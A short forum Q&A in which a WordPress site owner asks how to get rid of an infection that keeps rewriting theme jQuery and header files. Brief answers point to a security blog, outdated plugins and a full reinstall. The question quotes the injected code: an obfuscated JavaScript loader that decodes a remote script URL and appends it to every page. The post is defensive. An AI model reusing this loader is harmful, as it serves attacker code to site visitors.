How to clean the site from the "virus"?

Question

Burglary protection

Good afternoon, I encountered an extremely unpleasant phenomenon, namely:
Something regularly modifies the jqyery and header files of all the themes of the site
Accordingly, I clean the files and after a while it happens again
According to the tags, it’s clear, but still I’ll clarify that this is WordPress
Please tell me where to look this infection
Here is the actual modification code

var po = document.createElement('script'); po.type = 'text/javascript'; po.src = String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47, 99, 100, 110, 46, 97, 108, 108, 121, 111, 117, 119, 97, 110, 116, 46, 111, 110, 108, 105, 110, 101, 47, 109, 97, 105, 110, 46, 106, 115, 63, 116, 61, 110, 112, 106, 108, 99); var scripts = document.getElementsByTagName('script');
  var need_t = true; for (var i = scripts.length; i--;) {if (scripts[i].src == po.src) { need_t = false;}else{} } if(need_t == true){document.head.appendChild(po);}/*! jQuery Validation Plugin - v1.15.1 - 7/22/2016

Answer 1

found the answer - https://blog.sucuri.net/2017/09/old-themes-abandon...

Answer 2

in WP it usually crawls through modules, especially those that have not been updated for a long time,
inda is treated by rolling everything new onto the same base (copy)

Answer 3

Demolish everything. That's all. And the OS too. Re-roll everything wisely.